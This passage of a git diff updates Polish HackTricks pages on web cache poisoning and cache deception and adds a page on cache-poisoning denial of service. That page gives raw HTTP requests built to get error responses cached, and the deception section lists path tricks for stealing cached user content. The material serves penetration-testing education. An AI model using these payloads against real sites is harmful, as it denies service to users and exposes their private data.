Wysłanie złej wartości w nagłówku content-type wywołało odpowiedź z kodem 405 z pamięci podręcznej. Klucz pamięci podręcznej zawierał ciasteczko, więc możliwe było atakowanie tylko nieuwierzytelnionych użytkowników.
### GitLab + GCP CP-DoS
GitLab używa kubełków GCP do przechowywania statycznych treści. **Kubełki GCP** obsługują nagłówek `x-http-method-override`. Dlatego było możliwe wysłanie nagłówka `x-http-method-override: HEAD` i zatrucie pamięci podręcznej, aby zwróciła pusty ciało odpowiedzi. Mogło to również obsługiwać metodę `PURGE`.
### Oprogramowanie pośredniczące Rack (Ruby on Rails)
W aplikacjach Ruby on Rails często wykorzystuje się oprogramowanie pośredniczące Rack. Kod Rack ma na celu pobranie wartości nagłówka **`x-forwarded-scheme`** i ustawienie jej jako schematu żądania. Gdy wysłany jest nagłówek `x-forwarded-scheme: http`, następuje przekierowanie 301 do tego samego miejsca, co potencjalnie może spowodować odmowę dostępu (DoS) do tego zasobu. Dodatkowo aplikacja może uwzględniać nagłówek `X-forwarded-host` i przekierowywać użytkowników na określony host. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, stanowiąc ryzyko dla bezpieczeństwa.
### 403 i kubełki przechowywania
Cloudflare wcześniej pamiętał odpowiedzi 403. Próba dostępu do zasobów S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami autoryzacji skutkowała odpowiedzią 403, która została pamiętana w pamięci podręcznej. Chociaż Cloudflare zaprzestał pamiętania odpowiedzi 403, to zachowanie to może nadal występować w innych usługach proxy.
### Wstrzykiwanie parametrów z kluczem
Pamięci podręczne często zawierają określone parametry GET w kluczu pamięci podręcznej. Na przykład Varnish od Fastly pamiętał parametr `size` w żądaniach. Jednak jeśli została również wysłana zaszyfrowana wersja parametru (np. `siz%65`) z błędną wartością, klucz pamięci podręcznej był konstruowany z użyciem poprawnego parametru `size`. Jednak backend przetwarzał wartość w parametrze z zakodowanym adresem URL. Zakodowanie adresu URL drugiego parametru `size` prowadziło do jego pominięcia przez pamięć podręczną, ale jego wykorzystania przez backend. Przypisanie wartości 0 do tego parametru skutkowało zapisaniem błędu 400 Bad Request w pamięci podręcznej.
### Reguły agenta użytkownika
Niektórzy programiści blokują żądania z agentami użytkownika pasującymi do tych z narzędzi o dużym ruchu, takich jak FFUF lub Nuclei, aby zarządzać obciążeniem serwera. Ironicznie, podejście to może wprowadzić podatności, takie jak zatrucie pamięci podręcznej i DoS.
### Nielegalne pola nagłówka
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) określa akceptowalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza określonego zakresu **tchar** powinny idealnie wywoływać odpowiedź 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Przykładem jest Akamai, który przekazuje nagłówki z nieprawidłowymi znakami i pamięta każdy błąd 400, o ile nie jest obecny nagłówek `cache-control`. Zidentyfikowano wzorzec podatny na eksploatację, w którym wysłanie nagłówka z nielegalnym znakiem, takim jak `\`, skutkowało zapisaniem błędu 400 Bad Request w pamięci podręcznej.
### Odkrywanie nowych nagłówków
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Zatrucie pamięci podręcznej
Celem zatrucia pamięci podręcznej jest sprawienie, aby klienci **ładowali zasoby, które zostaną zapisane w pamięci podręcznej z ich wrażliwymi informacjami**.
Po pierwsze zauważ, że **rozszerzenia** takie jak `.css`, `.js`, `.png` itp. są zazwyczaj **skonfigurowane** do **zapisywania** w **pamięci podręcznej**. Dlatego jeśli uzyskasz dostęp do `www.example.com/profile.php/nonexistent.js`, pamięć podręczna prawdopodobnie przechowa odpowiedź, ponieważ widzi rozszerzenie `.js`. Jednak jeśli **aplikacja** odtwarza **wrażliwe** treści użytkownika przechowywane w _www.example.com/profile.php_, możesz **ukraść** te treści od innych użytkowników.
Inne rzeczy do przetestowania:
* _www.example.com/profile.php/.js_
* _www.example.com/profile.php/.css_
* _www.example.com/profile.php/test.js_
* _www.example.com/profile.php/../test.js_
* _www.example.com/profile.php/%2e%2e/test.js_
* _Użyj mniej znanych rozszerzeń, takich jak_ `.avif`
Inny bardzo jasny przykład można znaleźć w tym opisie: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę, np. _http://www.example.com/home.php/non-existent.css_, zawartość _http://www.example.com/home.php_ (**z wrażliwymi informacjami użytkownika**) zostanie zwrócona, a serwer pamięci podręcznej zapisze wynik.\
Następnie **atakujący** może uzyskać dostęp do _http://www.example.com/home.php/non-existent.css_ w swojej przeglądarce i obserwować **poufne informacje** użytkowników, którzy mieli dostęp wcześniej.
Zauważ, że **serwer proxy pamięci podręcznej** powinien być **skonfigurowany** do **przechowywania** plików **na podstawie** rozszerzenia pliku (_.css_) a nie na podstawie typu zawartości. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie miało typ zawartości `text/html` zamiast oczekiwanego typu mime `text/css` (który jest oczekiwany dla pliku _.css_).
Dowiedz się tutaj, jak przeprowadzić [Ataki zatrucia pamięci podręcznej, nadużywając Przesyłania żądań HTTP](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
## Automatyczne narzędzia
* [**toxicache**](https://github.com/xhzeem/toxicache): Skaner napisany w języku Golang do znajdowania podatności na zatrucie pamięci podręcznej sieci Web na liście adresów URL oraz testowania wielu technik wstrzykiwania.
## Odnośniki
* [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
* [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
* [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
* [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
* [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** przy użyciu najbardziej zaawansowanych narzędzi społeczności na świecie.\
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Zacznij od zera i zostań ekspertem w hakowaniu AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>

View file

@ -0,0 +1,150 @@
# Zatrucie pamięci podręcznej w celu DoS
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
</details>
{% hint style="danger" %}
Na tej stronie znajdziesz różne warianty prób spowodowania, że **serwer WWW odpowie błędami** na żądania, które są **ważne dla serwerów pamięci podręcznej**
{% endhint %}
* **Zbyt duży nagłówek HTTP (HHO)**
Wyślij żądanie z rozmiarem nagłówka większym niż obsługiwany przez serwer WWW, ale mniejszym niż obsługiwany przez serwer pamięci podręcznej. Serwer WWW odpowie błędem 400, który może zostać zapisany w pamięci podręcznej:
```
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
```
* **Znaki meta znaczników HTTP (HMC) i Nieoczekiwane wartości**
Wyślij nagłówek zawierający **szkodliwe znaki meta** takie jak `\n` i `\r`. Aby atak zadziałał, musisz najpierw ominąć pamięć podręczną.
```
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
```
Niepoprawnie skonfigurowany nagłówek mógłby być po prostu `\:` jako nagłówek.
To również może działać, jeśli zostaną wysłane nieoczekiwane wartości, takie jak nieoczekiwany Content-Type:
```
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
```
* **Nagłówek bez klucza**
Niektóre strony internetowe zwrócą kod stanu błędu, jeśli **zobaczą pewne konkretne nagłówki** w żądaniu, na przykład z nagłówkiem _X-Amz-Website-Location-Redirect: someThing_.
```
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
```
* **Atak podmiany metody HTTP (HMO)**
Jeśli serwer obsługuje zmianę metody HTTP za pomocą nagłówków takich jak `X-HTTP-Method-Override`, `X-HTTP-Method` lub `X-Method-Override`. Możliwe jest żądanie poprawnej strony zmieniając metodę, którą serwer nie obsługuje, co skutkuje zapisaniem złej odpowiedzi w pamięci podręcznej:
```
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
```
* **Niezaszyfrowany port**
Jeśli port w nagłówku Host jest odzwierciedlany w odpowiedzi i nie jest uwzględniony w kluczu pamięci podręcznej, można go przekierować na nieużywany port:
```
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
```
* **Długa przekierowanie DoS**
Tak jak w poniższym przykładzie, x nie jest buforowany, więc atakujący mógłby nadużyć zachowania odpowiedzi przekierowania, aby sprawić, że przekierowanie wyśle tak duży adres URL, że zwróci błąd. W rezultacie osoby próbujące uzyskać dostęp do adresu URL bez klucza x niebuforowanego otrzymają odpowiedź błędu:
```
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
```
* **Normalizacja wielkości liter w nagłówku Host**
Nagłówek hosta powinien być nieczuły na wielkość liter, ale niektóre strony internetowe oczekują, że będzie on pisany małymi literami, zwracając błąd, jeśli nie jest:
```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
```
* **Normalizacja ścieżki**
Niektóre strony zwrócą kody błędów, wysyłając dane URLencode w ścieżce, jednak serwer pamięci podręcznej zdekoduje adres URL i przechowa odpowiedź dla zdekodowanej ścieżki:
```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
```
* **Fat Get**
Niektóre serwery cache, takie jak Cloudflare, lub serwery internetowe, blokują żądania GET z ciałem, więc można to wykorzystać do zcache'owania nieprawidłowej odpowiedzi:
```
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
```
## Odnośniki
* [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -23,7 +23,7 @@ Obecnie **aplikacje internetowe** zazwyczaj **korzystają** z pewnego rodzaju **
{% endhint %}
* [ ] [**Wykorzystywanie nagłówków hop-by-hop**](abusing-hop-by-hop-headers.md)
* [ ] [**Zatrucie pamięci podręcznej/Decepcja pamięci podręcznej**](cache-deception.md)
* [ ] [**Zatrucie pamięci podręcznej/Decepcja pamięci podręcznej**](cache-deception/)
* [ ] [**Przemyt żądania HTTP**](http-request-smuggling/)
* [ ] [**H2C Smuggling**](h2c-smuggling.md)
* [ ] [**Włączenie serwera/Inkluzja Edge Side**](server-side-inclusion-edge-side-inclusion-injection.md)
@ -34,8 +34,8 @@ Obecnie **aplikacje internetowe** zazwyczaj **korzystają** z pewnego rodzaju **
## **Wejście użytkownika**
{% hint style="info" %}
Większość aplikacji internetowych **pozwala użytkownikom wprowadzać pewne dane, które zostaną później przetworzone.**\
W zależności od struktury danych, które serwer oczekuje, niektóre podatności mogą być stosowane lub nie.
Większość aplikacji internetowych **pozwoli użytkownikom wprowadzić pewne dane, które zostaną później przetworzone.**\
W zależności od struktury danych, które serwer oczekuje, niektóre podatności mogą mieć zastosowanie lub nie.
{% endhint %}
### **Odbite wartości**
@ -46,7 +46,7 @@ Jeśli wprowadzone dane mogą w jakiś sposób być odbite w odpowiedzi, strona
* [ ] [**Wstrzykiwanie poleceń**](command-injection.md)
* [ ] [**CRLF**](crlf-0d-0a.md)
* [ ] [**Zawieszone znaczniki**](dangling-markup-html-scriptless-injection/)
* [ ] [**Dołączenie pliku/Przechodzenie ścieżką**](file-inclusion/)
* [ ] [**Włączenie pliku/Przechodzenie ścieżką**](file-inclusion/)
* [ ] [**Przekierowanie otwarte**](open-redirect.md)
* [ ] [**Zanieczyszczenie prototypu do XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**Włączenie serwera/Inkluzja Edge Side**](server-side-inclusion-edge-side-inclusion-injection.md)
@ -68,19 +68,19 @@ Niektóre z wymienionych podatności wymagają specjalnych warunków, inne wymag
Jeśli funkcja może być użyta do wyszukiwania pewnego rodzaju danych w backendzie, być może można (wy)korzystać ją do wyszukiwania dowolnych danych.
* [ ] [**Dołączenie pliku/Przechodzenie ścieżką**](file-inclusion/)
* [ ] [**Włączenie pliku/Przechodzenie ścieżką**](file-inclusion/)
* [ ] [**Wstrzykiwanie NoSQL**](nosql-injection.md)
* [ ] [**Wstrzykiwanie LDAP**](ldap-injection.md)
* [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
* [ ] [**Wstrzykiwanie SQL**](sql-injection/)
* [ ] [**Wstrzykiwanie XPATH**](xpath-injection.md)
### **Formularze, WebSockets i PostMsgs**
### **Formularze, WebSockety i PostMsgs**
Kiedy websocket wysyła wiadomość lub formularz umożliwia użytkownikom wykonywanie działań, mogą pojawić się podatności.
* [ ] [**Podrobienie żądania Cross Site**](csrf-cross-site-request-forgery.md)
* [ ] [**Przechwycenie WebSocket Cross-site (CSWSH)**](websocket-attacks.md)
* [ ] [**Podrobienie WebSocket Cross-site (CSWSH)**](websocket-attacks.md)
* [ ] [**Podatności PostMessage**](postmessage-vulnerabilities/)
### **Nagłówki HTTP**
@ -89,31 +89,31 @@ W zależności od nagłówków HTTP dostarczanych przez serwer WWW, mogą wystę
* [ ] [**Clickjacking**](clickjacking.md)
* [ ] [**Ominiecie polityki bezpieczeństwa zawartości**](content-security-policy-csp-bypass/)
* [ ] [**Hakowanie z wykorzystaniem plików cookie**](hacking-with-cookies/)
* [ ] [**Hakowanie z ciasteczkami**](hacking-with-cookies/)
* [ ] [**CORS - Błędy konfiguracji i omijanie**](cors-bypass.md)
### **Ominiecia**
Istnieje kilka konkretnych funkcji, w których pewne obejścia mogą być przydatne do ich ominięcia.
Istnieje kilka konkretnych funkcji, gdzie pewne obejścia mogą być przydatne do ich ominięcia.
* [ ] [**Ominięcie 2FA/OTP**](2fa-bypass.md)
* [ ] [**Ominięcie procesu płatności**](bypass-payment-process.md)
* [ ] [**Ominięcie Captcha**](captcha-bypass.md)
* [ ] [**Ominięcie logowania**](login-bypass/)
* [ ] [**Ominiecie 2FA/OTP**](2fa-bypass.md)
* [ ] [**Ominiecie procesu płatności**](bypass-payment-process.md)
* [ ] [**Ominiecie Captcha**](captcha-bypass.md)
* [ ] [**Ominiecie logowania**](login-bypass/)
* [ ] [**Warunek wyścigu**](race-condition.md)
* [ ] [**Ominięcie limitu szybkości**](rate-limit-bypass.md)
* [ ] [**Ominięcie resetowania zapomnianego hasła**](reset-password.md)
* [ ] [**Ominiecie limitu szybkości**](rate-limit-bypass.md)
* [ ] [**Ominiecie resetowania zapomnianego hasła**](reset-password.md)
* [ ] [**Podatności rejestracji**](registration-vulnerabilities.md)
### **Obiekty strukturalne / Konkretne funkcje**
Niektóre funkcje będą wymagać, aby **dane były strukturalnie w bardzo konkretnym formacie** (jak zserializowany obiekt języka lub XML). Dlatego łatwiej jest zidentyfikować, czy aplikacja może być podatna, ponieważ musi przetwarzać ten rodzaj danych.\
Niektóre **konkretne funkcje** mogą być również podatne, jeśli używany jest **konkretny format danych wejściowych** (jak Wstrzykiwanie Nagłówków Email).
Niektóre **konkretne funkcje** mogą być również podatne, jeśli używany jest **konkretny format wejścia** (jak Wstrzyknięcia Nagłówków Email).
* [ ] [**Deserializacja**](deserialization/)
* [ ] [**Wstrzykiwanie Nagłówków Email**](email-injections.md)
* [ ] [**Podatności JWT**](hacking-jwt-json-web-tokens.md)
* [ ] [**Zewnętrzna jednostka XML**](xxe-xee-xml-external-entity.md)
* [ ] [**Zewnętrzna Jednostka XML**](xxe-xee-xml-external-entity.md)
### Pliki
Funkcjonalności umożliwiające przesyłanie plików mogą być podatne na kilka problemów.\
@ -141,7 +141,7 @@ Te podatności mogą pomóc w eksploatacji innych podatności.
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks: